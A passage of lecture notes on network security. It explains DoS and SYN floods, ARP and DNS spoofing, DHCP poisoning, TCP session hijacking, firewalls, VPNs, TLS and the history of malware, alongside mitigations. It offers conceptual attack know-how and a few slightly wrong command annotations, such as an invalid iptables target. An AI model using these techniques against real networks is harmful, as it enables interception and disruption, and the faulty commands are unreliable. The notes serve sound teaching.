the machine (locking up TCP/IP stack). This happened because the case source IP = dest IP had not been managed. The same
happened with SP2 in Windows XP.

14.1.2 Flooding

This is easier: the attacker floods the receiver with a number of requests greater than the one the target server can handle. A huge
amounts of packets is generated until the resources of the target server are exhausted. The target server has limited resources:
this attack is therefore always possible. It is impossible to remove these attacks there is no definitive solution against this because
in this case the attacker will always have the resources to exhaust the target service. The best thing to do in this case is designing
the system in a clever way, so it can manage an average attack (threat assessment to evaluate an average attack’s load). To mitigate
this we can avoid to provide shortcuts that make flooding easier, a multiplier factor so that the attacker has to use on their machine
the same amount of resources they want to exploit on the target machine. This is where most mitigations focus for this attack. The
multiplier factor is something the target has to do while the attacker doesn’t.

55
14.1.3 SYN Flood Attack: TCP/IP three way handshake

In this case the multiplier factor is the fact that every time the server re-
ceives a SYN packet it has to save it in memory which is limited: an at-
tacker simply send packets, without having to store them, needing less
resources. An attacker just has to send a high volume of SYN requests
with spoofed source address (faking the source aka using different IPs),
many TCP/IP connections fill the que and the service will not be able to
answer anymore. This attack can be mitigated by removing the multiplier
factor (memory) using SYN cookies. SYN cookies are just tokens that allow
to reply with SYN+ACK but discard the half-open connection and wait for
a subsequent ACK. Instead of storing all received packets, when receiving
one, the target generates a SYN cookie (sync number) which is sent to the
sender entity. The receiver entity will now wait for a valid SYN cookie with-
out storing anything. To complete the connection the attacker has to send
Figure 19. Syn Flood attack: TCP/IP 3 way handshake a valid SYN cookie. The server has to just compute the SYN cookies, which
is less intensive than storing everything.

14.1.4 Distributed DoS

In this case the attacker has control of a network of compromised computers (zombies/botnet) controlled by the command and
control server under the direct control of the attacker. In this case all zombies will flood the target server with requests. It is evident
that there is no real solution: the multiplier factor is computational resource (botnet). The difference here is that this multiplier
factor is not in control of the target, it is external, the botnet has the size the attacker wants, this size is the multiplier factor (spoofing
is not needed). A botnet is a network of compromised computers (bots). CC is a dedicated command and control infrastructure
such that the attacker (botmaster) can send commands to the bots. The only way to eliminate it is to track the botnet and disarm
it.

Smurf attack is an example of DDoS attack. The attacker sends ICMP packets with spoofed sender (victim) to a broadcast address.
This attack is not possible anymore, because nowadays requests from external networks are blocked. If the attacker is inside the
network however it is. The amplifier factor is the dimension of the network. Each host inside the network will receive a ICMP
request so that ICMP directed to the victim are generated, the target is basically flooded with replies. Also called amplification
based attacks. There is another way to put in place DoS attacks exploiting another multiplier factor: amplification hell. Attackers
can exploit protocols in which the dimension of the response is bigger than that of the response.

14.2 Network level sniffing

Normally a network interface card (NIC) intercepts and passes to the OS only the packets directed to that host’s IP. This attack refers
to attackers’ attempts to intercept a packet between two NICs even if the attacker is not part of the communication. In promiscuous
mode the NIC passes the OS any packet read off the wire. An attacker can put its NIC in promiscuous mode: so that the NIC will
pass them all the packets transmitted along the wire. There are tools to enable promiscuous mode. The basic mitigation against
sniffing is to use switched networks as opposed to hub based networks. Hubs in fact broadcast traffic to every host: NICs can be
in promiscuous mode. Switches selectively relay traffic to the wire corresponding to the correct NIC (ARP based), messages are
directly related to the receiver’s NIC.

14.2.1 ARP Spoofing

ARP maps 32 bits IPv4 addresses to 48 bits hardware or MAC addresses. To send the message the receiver’s MAC must be known,
otherwise ARP is necessary. However an attacker can forge replies easily due to the lack of authentication, the first that answers
the ARP request is the one accepted. If the first one is the attacker it will be accepted (instead of the legitimate user’s answer). Each
host caches the replies (arp -a) so each of them can forge the reply. This attack is called ARP Spoofing (Cache Poisoning). If ARP is
updating with the wrong address it is updating on all hosts of the network. This attack is very password when successful because

56
all packets will be redirected to the attacker’s desired MAC. The first answer (the attacker’s) can be malicious: the traffic might go to
the attacker first (sniffing), they will analyze all packets. Another possibility is generating DoS: if the gateway of the network (from
external to internal network) is spoofed by the attacker, all the traffic will reach the address decided by the attacker instead of the
gateway’s. This is a DoS attack in the network.

arp -d 15.1.1.1 // clear the record for 15.1.1.1


ping -n 1 15.1.1.1 // try to reach 15.1.1.1 (ping with 32b)
reply from 15.1.1.1 bytes-32 time<10ms TTL-225 // the ARP layer has resolved the MAC address
arp -a // clear arp cache
Interface // legitimate arp cache
15.1.1.1 physical address 1 dynamic
15.1.1.25 physical address 2 dynamic

The attacker can create a script to flood the network and tell every host that 15.1.1.1 is at the attacker’s NIC, and this is how poisoning
happens. Now, when checking the ARP cache, 15.1.1.1’s physical address is the poisoned one. It is not possible to be sure about
the IP and MAC addresses of the attacker (both can be spoofed). The traffic is now redirected to the poisoned physical address.
Mitigations against this attack include hardcoded IP addresses which cannot be spoofed or detect whether the same MAC address
belongs to different IP addresses: this is an anomaly that can be detected which can only be detected after the attack happens.
Alternatively, to prevent this attack, we can wait for some ARP request and check for conflicts before storing the addresses int he
cache: the legitimate user will answer for sure, the point is who answers first. Also ID can be added to the requests so that only
certain requests with a certain ID are accepted, however the ID can be guessed (even if IDs make attacks harder). In this case the
attacker must be on the same network of the victim.

14.2.2 MAC flooding

In switch based networks these attacks might fail: switches use CAM tables (caches) to know which MAC addresses are on which
port. They are still MAC based (i.e. know the connection between addresses and ports).CAM tables mitigate sniffing, however
being a cache it has limited space. The attacker can generate enough ARP replies to flood it. Dsniff (macof) can generate about
155k spoofed packets a minute: the CAM table is filled in seconds. When full ARP replies cannot be cached and everything must be
forwarded to every port (like hubs do) to avoid DoS and keep the service available. This is not a true DoS attack, it only turns switches
based into hubs networks. A mitigation against this attacks is related to port security: by limiting the number of devices connecting
to the ports flooding is not possible, especially differing client and gateway ports. In switches based network the attacker won’t be
able to answer first. ARP spoofing is still possible.

14.2.3 Spanning Tree Protocol

STP avoids loops on switched network by building a spanning tree. Switches decide how to build the ST by exchanging BPDU (bridge
protocol data unit) packets to elect the root node. BPDU packets are not authenticated, so an attacker can change the shape of the
tree for sniffing or ARP spoofing purposes. BPDU are network level protocols and this is why they have no authentication. These
protocols are low level just designed for performance (not security)

14.3 IP address Spoofing (UDO/ICMP)

Spoofing IP addresses is easy because IP source addresses are not authenticated. Also changing it in UDP or ICMP packets is easy.
However the attacker will not see their answers (e.g. because they are on a different network) because they will be sent to the
spoofed host (blind spoofing): only the victim will receive the responses. But if the attacker is on the same network they can sniff
the rest or exploit ARP spoofing, the attacker will also see the responses. For TCP it is not so easy: to establish a connection with TCP
a 3 way handshake must be completed, TCP uses sequence nubbers for reordering and acknowledging packets. A semi-random
Initial Sequence Number is chosen (ISN) and embedded, to establish a connections random ISN must be chosen so that 3 way
handshake can be completed.

57
Considering the 3 way handshake in Figure 20: in case of blind spoofing,
to spoof A we can spoof A’s IP address and generate an ISN and send it
to B. B will acknowledge it and send its ISN to A (the attacker will not see
it). The attacker can only correctly spoof the address and hijack the con-
nection if they guess the ISN sent by B to A. THe ISN must be guessed to
conclude the handshake. However the spoofed source needs not to re-
ceive the response packets, otherwise it might answer with a RST to close
the connection. The attacker must guess the SEQ number and prevent A
from receiving the message or sending rst package. To preventing A from
sending/receiving messages we should dossing A, so that it will not be able
Figure 20. Blind Spoofing Attack to answer nor receive. After this guessing ISN is enough. IN 1995 it was
easy to guess ISNs due to easy TCP implementations (Kevin Mitnick). ISN distribution in different systems can be analyzed. The
worst distribution is the one chosen by IRIX, in which is easy to know what the next ISN will be. Value distribution can be assessed
in terms of how spread out they are and how many they are: if there is a pattern in the distribution it will be way easier to guess
ISN. Also points whose distribution is dense but numerous are easier to guess (being many it is still way harder than previous
cases). However if the attacker is in the same network of the victim it is way easier to sniff all packets that are being exchanged,
nothing should be guessed. It is enough to doss one of the entities so that they cannot receive or sand any more packets. To take
over an active TCP session from the same network the attacker follows the conversation between A and B recording the sequence
numbers and then disrupts A’s connection (e.g. SYN flood): A only notices a random disruption of service. The attacker then takes
over the dialogue with B by spoofing A’s address and using a correct ISN, B suspects nothing. A lot of tools implement this attack
automatically. The attacker can avoid disrupting B’s session and just inject things in the flow only if there is the man in the middle.
This attack allows to control/resync all the traffic flowing through. The man in the middle attack is a wide category of attacks in
which the attacker can impersonate the server with respect to the client and vice-versa. It can be either physical (the attacker is
e.g. on the firewall on a network) or logical (the attacker fakes a gateway) and full or half duplex. Communication between entities
is entirely under the attacker’s control. If the attacker is able to ARP spoof the gateway of a LAN they become a logical man in the
middle.

14.4 DNS cache poisoning attacks

MAC addresses are related to hardware IPs are related to networks. These addresses are hard to remember for humans: in fact
this is DNSs’ job (Domain Name System). It is required that a naming system is as short as possible, easy to memorize, unique, cus-
tomizable and it should reflect organizational structure while quickly translating to and from existing computer friendly addressing
systems. DNS exploits a distributed database organized as a hierarchy of servers that provide the mappings. Each server keeps a
small cache of the mappings. It is based on UDP (Port 53) and messages are not authenticated, there is a weak auth form. When
a domain name is used/requested and isn’t in the local cache the system queries a DNS server, the hierarchy that contains the re-
sources records to match DN and IP is followed until the owner is reached. When a non authoritative DNS server receives a request
to resolve a domani name if the answer is cached it answers, otherwise it can resolve the name on behalf of the client (recursive
mode) or give the authoritative DNS address (iterative mode). In these attacks the attacker knows that there is non authoritative
DNS server in the network (e.g. local). They will first make a recursive query to the victim’s DNS server, asking for something’s IP
address. The non authoritativre DNS will contact the authoritative one which will try to answer the DNS server. The attacker will
now impersonate the authoritative DNS server and sniff/guess the DNS query ID spoofing the answer. To conclude the attack the
attacker has to guess the query ID, this issue is similar to guessing ISN. At this point the victim’s DNS serve trusts and caches the
malicious records (poisoned). All clients that request to resolve the DN to the poisoned DNS server are redirected to the malicious
website. ID of DNS can be sniffed by brute forcing for example.

14.5 Dynamic Host Configuration Protocol - DHCP Poisoning Attacks

DHCP is a protocol that dynamically assigns IP addresses and network parameters to each device in the network, it automatically
assigns a new IP address when a computer is plugged into a network. It allows network admins to supervise and distribute config-
uration parameters for network hosts from a central point. However DHCP is not authenticated: being the first connection it is not
possible to authenticate. When DHCP server is unavailable the client is unable to access enterprises network. When a new host

58
connects it will send a DCHP discover and select a received DHCP offer, when connection ends the client releases the IP address.
Being an unauthenticated protocol the attacker can intercept the DHCP request and be the first to answer: the client will believe
its answer. With a spoofed DHCP response the attacker can set IP address, DNS addresses and the default gateway of the victim
client. This attack is even simpler: the attacker will be able to change anything in the host. ICMP can also inform the hosts about
better routes/gateways (redirect function). Routers are responsible for keeping routing information up to date and are assumed
to discover best routes for every destination. Hosts begin with minimal routing information and learn new routes from routers.
A host may boot up knowing the address of one router only bit that may not be the best route. When a router detects a host
using a non optimal route it sends and ICMP redirect message to the host and forwards the message. The host is expected to
then update its routing table. In this attack the attacker can forge a spoofed ICMP redirect packet to re-route traffic on specific
routes or to a specific host that may be not a router at all. The attack can be used to hijack traffic or perform DoS attacks. It is
weakly authenticated: an ICMP message includes the IP header and a portion of the payload (usually the first 8b) of the original
IP datagram. Authentication is weak because it is abused on something not secret: the attacker needs to intercept a packet in
the original connection to forge the reply. In this way they create a half duplex MITM situation. Also, handling ICMP redirect is OS
dependent. In general the attacker can announce routes to a router, they can play a lot of tricks:

• IGRP, RIP, OSPF: no/weak auth

• EIGRP, BGP: auth available but seldom used

By re-routing and adding steps so that communication follows a longer path communication is hijacked and sniffed, for example
by re routing toward a node under the attacker’s control.

15 Secure Network Architectures

(a) Application layer firewall


(b) Network layer firewall

Figure 21. Firewall categories

Firewall is a network access control system that verifies all the packets flowing through it. Its main functions are usually IP
packet filtering (labeling each packet and decide whether it can pass) and Network address translation (NAT). It can be imagined
as the single enforcement point between a screened network and outside networks, it is basically a checkpoint. It is useless if it
can be bypassed. Firewalls are not omnipotent: they only check all the traffic flowing through them, and only the traffic flowing
through them. It is powerless against insider attacks (unless the network is partitioned somehow), because in this case all the
traffic is transmitted within the network. In general, it is also powerless against unchecked paths: e.g. a modem or 5G connection
of machine connected also to a LAN, if another transmission channel (parallel to the firewall’s) can be used the firewall can check
its traffic. The firewall itself is a computer: it could have vulnerabilities and be violated. Most of the times they are single purpose
machines, embedded appliances with just a firmware. Because of this they usually offer few or no services. They have also a
smaller attack surface. The major issue however is that a firewall is basically a stupid “bouncer at the door”: it just applies rules and
bad rules means no protection. Firewall rules are essentially the implementation of higher-level security policies. A basic firewall
just checks rules and policies must be built on a default deny base to provide good rules. This consists of creating a white list: one
rule for each traffic to be allowed must be added. The firewall can also be implemented inside the OS (e.g. windows firewall). If

59
no firewall is between malicious traffic and a server there is no protection. From a high level point of view we can divide firewalls
depending on their packet inspection capability (from low to high layers), on their granularity basically. The main distinction is
between network and application layer firewalls:

• Network layer firewalls:

– Packet filters firewall (network), very simple and not implemented anymore
– Stateful packet filters firewall (network-transport), most common

• Application layer firewalls:

– Circuit level firewalls (transport-application), don’t exist anymore


– Application proxies (application)

These firewalls can analyze what passes through the network at different levels, as shown in Figure 21a and Figure 21b. Depending
on the firewall different information can be analyzed, even the files someone is downloading.

15.1 Packet Filters Firewall

This consists of packet by packet processing as independent entities, without considering the context. This makes it impossible
to understand the relations between different packets and the concept of session. As a consequence these can not track TCP
connections (stateless) nor perform payload inspection, just analyze single packet. If the malicious element is not contained in the
single packed it is not detected. This firewall decodes the IP (and part of the TCP) header:

• SRC and DST IP

• SRC and DST port

• Protocol type

• IP options

No rules can be added concerning the network. Some examples of rules are:

• Block any incoming packet ("default deny"), iptables -P INPUT DROP #P = policy, always put in the firewall

• Allow incoming packet if going to 10.0.0.1, iptables -A INPUT -d 10.0.0.1 -j ALLOW, beginning of whitelist

• Block anything out except SMTP (port 25), iptables -P OUTPUT DROP, iptables -A OUTPUT –dport 25 -j ALLOW

With packets with spoofed IP, when a packet filter firewall is deployed, it depends on where the attacker is (if it is internal the
address the attacker will be blocked). If the attacker is external, e.g. smurfing, the firewall can block the request (block external
requests with internal address). All firewalls basically allow to express these kinds of rules. Regardless of the specific syntax, every
network packet filter allows to express the following concept: if (packet matches certain condition), do this, e.g. block, allow, log,
etc.

15.2 Stateful (or Dynamic) Packet Filters

They have some additional functionalities that allow to track the connection and the TCP state machine, together with the relation
between packets. They keep track of the TCP state machine, after SYN, SYN-ACK must follow. It is possible to track connections
without adding a response rule and make deny rule safer. This has huge impacts on how rules are written: since the connection
is tracked there is no need to implement a rule to allow the response. Also, deny rule is safer because less things are allowed,
an internal attacker can not exfiltrate information because there is no move from internal to external (response rule). The main
issue is that while stateless’ main characteristics is the number of packets per second they can analyzed, in this case performance
is bounded on a per-connection basis, not on a per-packet basis. The number of simultaneous connections is just as important as
packets per second. To store information a cache is needed within the firewall: the more connection the more memory is occupied
the more time is required to analyze them. Moreover an attacker can fill the memory until the firewall won’t work (DoS). This

60
firewall is however very common: they have better expressiveness and allow tracking (logging and accounting on) connections.
Moreover a deeper content inspection can be performed, since connection can be tracked: reconstruction of application-layer
protocols and application-layer filtering, defragmented packets’ management. Finally, it is possible to perform Network Address
Translation (NAT) between int and ext networks. Stateful packet filters allow session handling. A session is an atomic, transport-
layer exchange of application data between 2 hosts. The main transport protocols are TCP (Transmission Control Protocol, where
session = TCP connection) and UDP (User Datagram Protocol, where session concept does not exist, connectionless). Session-
handling is fundamental for NAT, session is emulated in UDP case in fact, as shown in Figure 22a. Being UDP widely

(a) NAT session initialization (b) UDP and NAT

Figure 22. Stateful Packet Filters with UDP and NAT

used, we can’t dismiss it (e.g. DNS, VoIP H.323, video streaming, etc) so it must be managed. It is however difficult to secure
and handle, because it is connectionless. The concept of “session” is thus emulated and to have a similar functionality to TCP the
basic functionality is receiving a response every time a packet is sent, as shown in Figure 22b. A timeout can be added after a
packet is sent, whatever returns is accepted. The problem here is that the attacker might generate a packet and brute force the
port number within the timeout. Another issue is related gto dynamic protocols (e.g., DCC, RDT, instant messengers, file transfer)
which transmit network information data (e.g., port) at application layer. For instance, FTP uses dynamic connections allocated
for file uploads, downloads, output of commands. The client will try to connect to the server with port application command, the
server will then proceed sending the file. Stateful firewalls must manage such dynamic protocols. Data transfer could be blocked
by firewalls because of the static definition of rules: if source and destination ports are dynamic (exchanged in the message) the
stateful firewall must also analyze the content and map the connection. To establish a connection with dynamic protocol the client-
side firewall must open port 21 outbound, dynamically open/close the (inbound) ports that the client specifies in the command.
On the server-side the firewall must open port 21 inbound, dynamically open/close the (outbound) ports that the client specifies in
the command. Besides, another modality (passive mode) uses pasv command so that connection is initiated by the client. Sill the
firewall will have to dynamically open/close the ports. Deep inspection and intrusions modern firewalls can analyze packets and
sessions even more in depth, e.g. recognize MIME multipart attachments in SMTP flows and send data to antiviruses, recognize a
set of “known attack packets” patterns to be blocked (IPS, Intrusion Prevention Systems), however they can have update problems
and cannot recognize zero-day attacks (only known ones).

15.3 Circuit Firewalls (Legacy)

These do not exist anymore: they would relay TCP connections, that is to say the client connects to a specific TCP port on the
firewall, which then connects to the address and port of the desired server (not transparent). It requires a different proxy on the
basis on the protocol to protect. This is not transparent to the client and more difficult to manage.

15.4 Application Proxies

These firewalls work the same as circuit firewalls, but at application layer. They are almost never transparent to clients: they may
require modifications and each protocol needs its own proxy server. Their main power is that they can inspect, validate, manipulate

61
protocol application data (e.g., rewrite HTTP frames) and whatever is sent at application layer. They can also authenticate users,
apply specific filtering policies, perform advanced logging, content filtering or scanning (e.g., anti-virus/spam, however this is only
possible fot HTTP (not encrypted) connection). They can be used to expose a subset of the protocol to defend clients or servers
(“reverse proxy”). It may be helpful to also have a reverse proxy (protects the server) to avoid web attacks such as SQL injection
and XSS, so that the output sent from the client to the server is validated. They’re usually implemented on COTS OSs.

15.5 Architectures for secure networks

15.5.1 Dual- or Multi-zone Architectures

In most cases, the perimeter defense works on the assumption that what
is “good” is inside, and what’s outside should be kept outside if possible,
this is the castle approach. However there are two counterexamples: the
access to resources from remote (i.e., to a web server, to FTP, mail transfer)
and from remote users to the corporate network. This approach is not
always valid in real world. However if we mix externally accessible servers
with internal clients, we lower the security of the internal network, because
internal network is exposed to external access (attackers). The solution
consists of allowing external access to the accessible servers, but not to the
internal network, i.e. splitting the network by privileges levels. Firewalls
can be used to regulate access. In practice, we create a semi-public zone
Figure 23. Dual or Multi Zone architecture
called DMZ (demilitarized zone). The DMZ will host public servers (web,
FTP, public DNS server, intake SMTP) exposed to clients, nothing critical nor sensitive. The DMZ is almost as risky as the Internet.
What happens is shown in Figure 23. This is not the only solution: if the database is more critical another zone with another firewall
can be created between database and workstation. PORTS NUMBER TO REMEMBER If there is no firewall between two connected
sections no additional rule is required to allow them to communicate.

15.5.2 Virtual Private Networks -VPNs

To allow workers to work from remote as if they were in the office and to let them access the same resources VPNs were developed.
VPNs allow remote employees to work “as if” they were in the office, accessing resources on the private zone and also connecting
remote sites without using dedicated lines. VPNs ensure CIA to data transmitted over a public network (i.e., the Internet).A VPN is
an end to end channel, an encrypted overlay connection over a (public) network. All packets transmitted by the remotely connected
machine will follow the same path as packets transmitted by the office: firewalls and restrictions work the same. There are two
VPN Modes:

• Full tunneling

– every packet goes through the tunnel independently of its final direction
– traffic multiplication, could be inefficient, resource intensive
– single point of control and application of all security policies as if the client were in the corporate network, all traffic
browsed by user is filtered and can be validated

• Split tunneling

– only the traffic directed to the private zone is tunneled into the VPN
– traffic to the corporate network: in VPN; traffic to the Internet: directly to ISP
– more efficient, no traffic multiplication
– browser navigation is not always checked, less secure
– similar to the case of the PC connected via 4G modem to the Internet

Some VPN technologies are:

62
• PPTP (Point-to-point Tunnelling Protocol): proprietary Microsoft protocol, variant of PPP with authentication and cryptography

• VPN over SSL, SSH tunnel, or OpenVPN.net (open source)

• IPSEC: security extensions of IPv6, backported to IPv4, authentication and cryptography at IP layer

16 Network Security: SSL, TLS, SET

Remote transaction created some security issues:

• Problems of remoteness: trust factor between parties, use of sensitive data, atomicity of transaction

• Internet protocol problems: authentication and confidentiality, being sure about the website’s trustworthiness

• Transparence and critical mass problem: the website should be similar as secure as physical shops, but security is always a
cost, usability should not be impaired

Two main protocols were proposed for this purpose: HTTP over SSL (Secure Socket Layer or HTTPS) or SET (Secure Electronic
Transaction). HTTPS was designed to secure communication, not transactions. For this reason it guarantees confidentiality and
integrity, while offering mutual authentication. However it grants no guarantees on data usage, nor strict authentication of client
(in practice). SET protocol instead does the opposite: it guarantees on data usage and transaction security enforcement and was
designed for transaction security. However it failed to reach critical mass support to be applied.

16.1 SSL

SSL was originally designed by Netscape for securing internal web communication, after some years it became standard also for
other protocols: IETF standardized TLS, which comes after version SSL v3, and is now at version 1.3. All previous versions to TLS
1.2 are considered unsafe. TLS enforces confidentiality and integrity of the communications, server authentication and optional
client authentication, uses both symmetric and asymmetric cryptography for performance reasons, in particular to reach a trade
off between the algorithms’ computational costs and their performance. If client and server want to perform a TLS handshake
(to establish a HTTPS connection) the client will send the serve a cipher suite and some random data. Being TLS designed to be
flexible with respect to technical evolution it was built to manage the possibility of clients and servers using different suites of
algorithms for different functions. It was designed to guarantee the connection even if clients and servers used different machines
and this is cipher suite’s purpose: it is built to agree on the shared algorithm in order of preference. Clients and server may use
different suites of algorithms for key exchange, bulk encryption, message authentication code, pseudorandom function. During
handshake, cipher suites are compared to agree on shared algorithms in order of preference. The client sends a list of algorithms
divided by functionality and the server selects the first one compatible.The standard mandates implementation of a minimal cipher
setting to guarantee connection in any case. The server will select the suite and send the client its cipher selection and some other
random data together with the server certificate containing its public key. At this point the server certificate must be verified: is
the certificate in the validity period? Is the root CA trusted? Is the certificate valid? Is it revoked? Is the name of the server in the
certificate the same that was requested? Validity of the certificate and certification chain can always be checked while browsing the
internet. If the certificate is valid the client can server the pre-master (first) secret, encrypted with server public key. An attacker
cannot read it easily, because only the server (with its private key) can decrypt it. From this point on the exchanged information
is encrypted. During this step the client can optionally send its client certificate (authenticate by signing with private key). Now
both client and server compute the shared secret from pre-master secret, using client random data and server random data. This
real secret is used to create the encrypted channel for communication. Client and server need to exchange random data to avoid
replay attacks. But is TLS Resistant to MITM? MITM could:

• Let the original certificate through: needs to actually have the key of that certificate

• Tamper the certificate the server sends to the client, send a fake certificate (i.e., signed by a non-trusted CA): verification will
fail

• Send a good certificate but substitute the public key (making it invalid): verification will fail

63
TLS is by design resistant to MITM attacks. The only step not under the control of the server is the certificate validation. If the
certificate is not verified the user will be warned, but the user might just ignore it (especially if the name looks valid and known). In
this way users will accept anything the attackers send the. This mechanism is not resistant to users’ dumbness. Nowadays there
are more warnings to mitigate humans’ dumbness (e.g. advanced security settings). Besides, there are websites that use a mixture
between HTTP and HTTPS, which are vulnerable to MITM attacks. Let’s recap TLS’s basic features:

• Protects transmissions: confidentiality and integrity

• Ensures authentication of server and client (optionally), if any of them is compromised however HTTPS fails to be secure

• No protection before or after transmission on server, client (e.g. trojan), by abuser (e.g. non-honest merchant)

• Relies on PKI

• Not foolproof

A vanilla application proxy cannot filter/validate anything that is encrypted. To make the proxy able to decrypt stuff a MITM must
be added so that the server connects via HTTPS to the proxy and the proxy connects via HTTPS to the client. A major issue is that
the attacker can see the cipher selection (shared in clear) and thus change it: if it contains vulnerable algorithms and the attackers
obliges to choose them connection is hijacked. TLS’s drawbacks are related to its reliance on PKI:

• Security guarantees of TLS depend on the security and trust of the root and intermediate CAs

• CAs can generate certs for any domain, they are responsible for domainvalidation

• In order to be included in browsers and OS root programs, CAs must abide to a set of requirements (CA/Browser Forum
baseline requirements): dropping a non-compliant CA is a very difficult decision as it breaks websites

To overcome TLS/PKI limitations various solutions were proposed over time:

• HSTS (HTTP Strict Transport Security): a HTTP header tells the browser to always connect to that domain using HTTPS,
browsers (e.g., Chrome) implement a HSTS preload list, some websites are simply never loaded over plain HTTP (defends
against SSL stripping)

• HPKP (HTTP Public Key Pinning): a HTTP header tells the browser to “pin” a specific certificate or a specific CA, browser will
refuse certificates from different CAs for that origin (defends against trust certificates mis-issuance), however it was depre-
cated because it was not scalable

• Certificate Transparency: a CA submits the metadata of every issued certificate to an independent, replicated log, it can be
enforced by browsers which refuse certificates not logged in CA logs (defends against certificate misissuance: site owner can
check or be notified of certificates issued for the properties they manage), this is the method currently adopted (crt.sh to
check)

64
16.2 SET

(a) Dual Signature Generation

(b) Dual Signature Data Transmission


Figure 24. Dual Signature initial steps

SET was developed thanks to the joint effort of VISA and MasterCard consortium with the main purpose of protecting transac-
tions, not connections. It was designed considering that the cardholder sends the merchant only the order of goods and sends
the payment data to the payment gateway which will accept or reject the transaction. The gateway is empowered to verify corre-
spondence. This is done with a dual signature, a signature that joins together the two pieces of a message, directed to two distinct
recipients. Dual Signature Generation works as shown in Figure 24a. First of all the order information and payment instructions
are hashed and their result is hashed again (dual hash). Then the dual hash is encrypted and the dual signature is generation. Data
transmission and verification instead works as shown in 24b and 25. the payment gateway side verification is the perfect dual.
SET method however failed, mainly because it requires digital certificates from mer-
chant (reasonable and feasible), payment Gateway (reasonable and feasible), card-
holder: does not scale, a pre-registration of the cardholder is needed. Being not
transparent it was not accepted by average users which do not use it. A similar
mechanism now used for transactions is Paypal. Nowadays a simple redirect with
a token to the website of the bank is commonly used.

17 Malicious Software

What is “malware”? A malware is a portmanteau of “malicious software”, a code that


is intentionally written to violate a security policy.There are several "categories", or
"features" of malwares:
Figure 25. Dual Signature Verification
• Viruses: code that self-propagate by infecting other files, usually executables (but also documents with macros, boot loader),
not standalone programs (i.e. executables)

• Worms: programs that self-propagate, even remotely, often by exploiting host vulnerabilities, or by social engineering (e.g.
mail worms)

• Trojan horses: apparently benign program that hide a malicious functionality and allow remote control (usually controlled
from remote)

In 1971 the first malware Creeper demonstrated that systems could be infected. The first real virus was developed in 1981 and
basically demonstrated that the hackers could actually exploit vulnerabilities. The word virus was coined in 1983. The scale of
attacks escalated to the entire planet. Starting from 2012, due to the release of bitcoins, ransomware’s diffusion grew. It is possible
to distinguish three main movements in the history of malicious software:

• Demonstration (90-00): showing off skills

• Mass Attacks (>2000): profit oriented, organized groups, opportunism (beginning of botnets)

65
• Strategical Attacks (2010): high profile targets, critical infrastructures, political activism, espionage, states as actors (botnets
too)

Fred Cohen (’83) theorized the existence and produced the first examples of viruses which is, according to his definition, a self
replicating program only. He only developed this from a theoretical computer science point of view, interesting concept of self
modifying and self propagating code. Soon, the security challenges were understood. It is impossible to build the perfect virus
detector (i.e., propagation detector):

• Let P be a perfect detection program

• Let V be a virus that calls P on itself

• if P(V) = True: V halt (does not spread), so V is not a virus

• if P(V) = False: V spread, so V is a virus

This is just another version of the halting program. However the community started to look for ways to detect viruses and started
studying the malicious code lifecycle. The malicious code lifecycle can be divided into 4 phases: reproduce, infect, stay hidden,
run payload. The payload is just the code executed after the 3 previous steps, what is executed after the machine is infected (can
be either harmful or not). Malwares usually want to stay hidden during the lifecycle for a period of time to avoid being detected.
In the reproduction and infection phase a balance infection versus detection possibility must be found together with a suitable
propagation vector (may be social engineering, vulnerability exploits). We need to infect files (viruses only) and propagate to other
machines. Modern malware does not self-propagate at all (most bots and trojans). In the 90s to spread the virus the main virus
was the floppy disk, the common vector was in fact games.

17.1 Floppy Disk Viruses

Two main viruses exploited floppy disks:

• Boot viruses: infect the Master Boot Record (MBR) of hard disk (first sector on disk) or boot sector of partitions (e.g. Brain,
nowadays Mebroot/Torpig), these are rather old, but interest is growing again (diskless workstations, virtual machines (Sub-
Virt)), floppies are among the first disks loaded

• File infectors: simple overwrite virus (damages original program, it is easy to detect), parasitic virus (instead of deleting the
original program they append code and modify program entry point to execute both the malicious and the normal code, not
used because checking entry points easy allowed to detect it), or (multi)cavity virus (inject code in unused region(s) of program
code)

17.2 Macro

Later on “Macro” was developed and used as an attack vector. Data files were traditionally safe from viruses, but Macro functionality
blurs the line between data and code. A successful example of this malware is the Melissa virus. It is also difficult to remove, the
macro infects all files.

17.3 Worms

The first example was how 99 lines of code brought down the Internet (ARPANET actually) in Nov. 1988, when Robert Morris Jr.
(at the time a Ph.D student at Cornell), wrote a program that could connect to another computer, and find and use one of several
vulnerabilities (e.g., buffer overflow in fingerd, password cracking) to copy itself to that second computer. It would begin to run the
copy of itself at the new location: both the original code and the copy would then repeat these actions in an infinite loop to other
computers on the ARPANET, this was a mistake.

66
17.4 Mass Mailers: rebirth of the worms

These were developed when mail software started allowing attached files, including executables (dancing bears) and executa-
bles masquerading as data (e.g. “LOVE-LETTER-FOR-YOU.txt.vbs”). It was simply spread by emailing itself to others, using an
address book to look more trustworthy. Modern variations include social networks to spread (e.g. suspicious-looking Twitter
message/facebook post from a friend).

17.5 Modern Worms: Mass Scanners

The basic pattern is the same: a computer is infected and seeks out new targets. Spreading is faster (minutes) and happens on a
larger scale (hundreds of thousands of hosts). The main feature is scanning, which can be performed in various ways:

• Select random address

• Local preference: more scans towards local network

• Permutation scanning (divide up IP address space), more efficient, doesnt infect alreasy infected machines

• Hit list scanning

• Warhol worm: Hit list + permutation, most efficient: exponential speed in spread.

(e.g: slammer and red propagation). Anyone in the security field thought, starting from the 00s, that the future would get wormier
and wormier. however since 2004 there has been “silence on the wires”, i.e. no new “major” worm outbreaks. Weaponizable
vulnerabilities were there, we even collectively braced for impact a couple of times. But where did the worm writers disappear?
Why no worm has ever targeted the Internet infrastructure? Because there was no motivation to destroy the internet, otherwise
spreading would be impossible, too. Windows of opportunity were there however (June 2003: MS03-026, RPC-DCOM Vulnerability,
(Blaster) + Cisco IOS Interface Blocked by IPv4 pkts, April 2004: MS04-011, LSASS Vulnerability (Sasser) + TCP resets on multiple Cisco
IOS products). The answer is that attackers need the infrastructure to be up to do their stuff. Moreover they are now interested in
monetizing their malware via:

• Direct monetization (e.g., abuse of credit cards, connection to premium numbers)

• Indirect monetization (information gathering, abuse of computing resources, rent or sell botnet infrastructures)

All of this created a growing underground (black) economy and cybercrime ecosystem.

17.6 The Cybercrime Ecosystem

Attacks are in real life carried on by criminal groups that hire one group to create a malware and another one to spread it (these
have the infrastructure to do so). The criminal’s group will monetize from the malware and hire another group of criminal to convert
their money so that it is not tracked (e.g. scam activities). Various "activities" are involved: exploit development and procurement,
site infection, victim monitoring, selling "exploit kits", support to the clients.

17.7 Bots

Bots represent another revolution in malware history. A bot is defined as a program that is simply used for IRC channels, to leave
them open. At the beginning only universities and companies could allow permanent internet connection, and this is where the
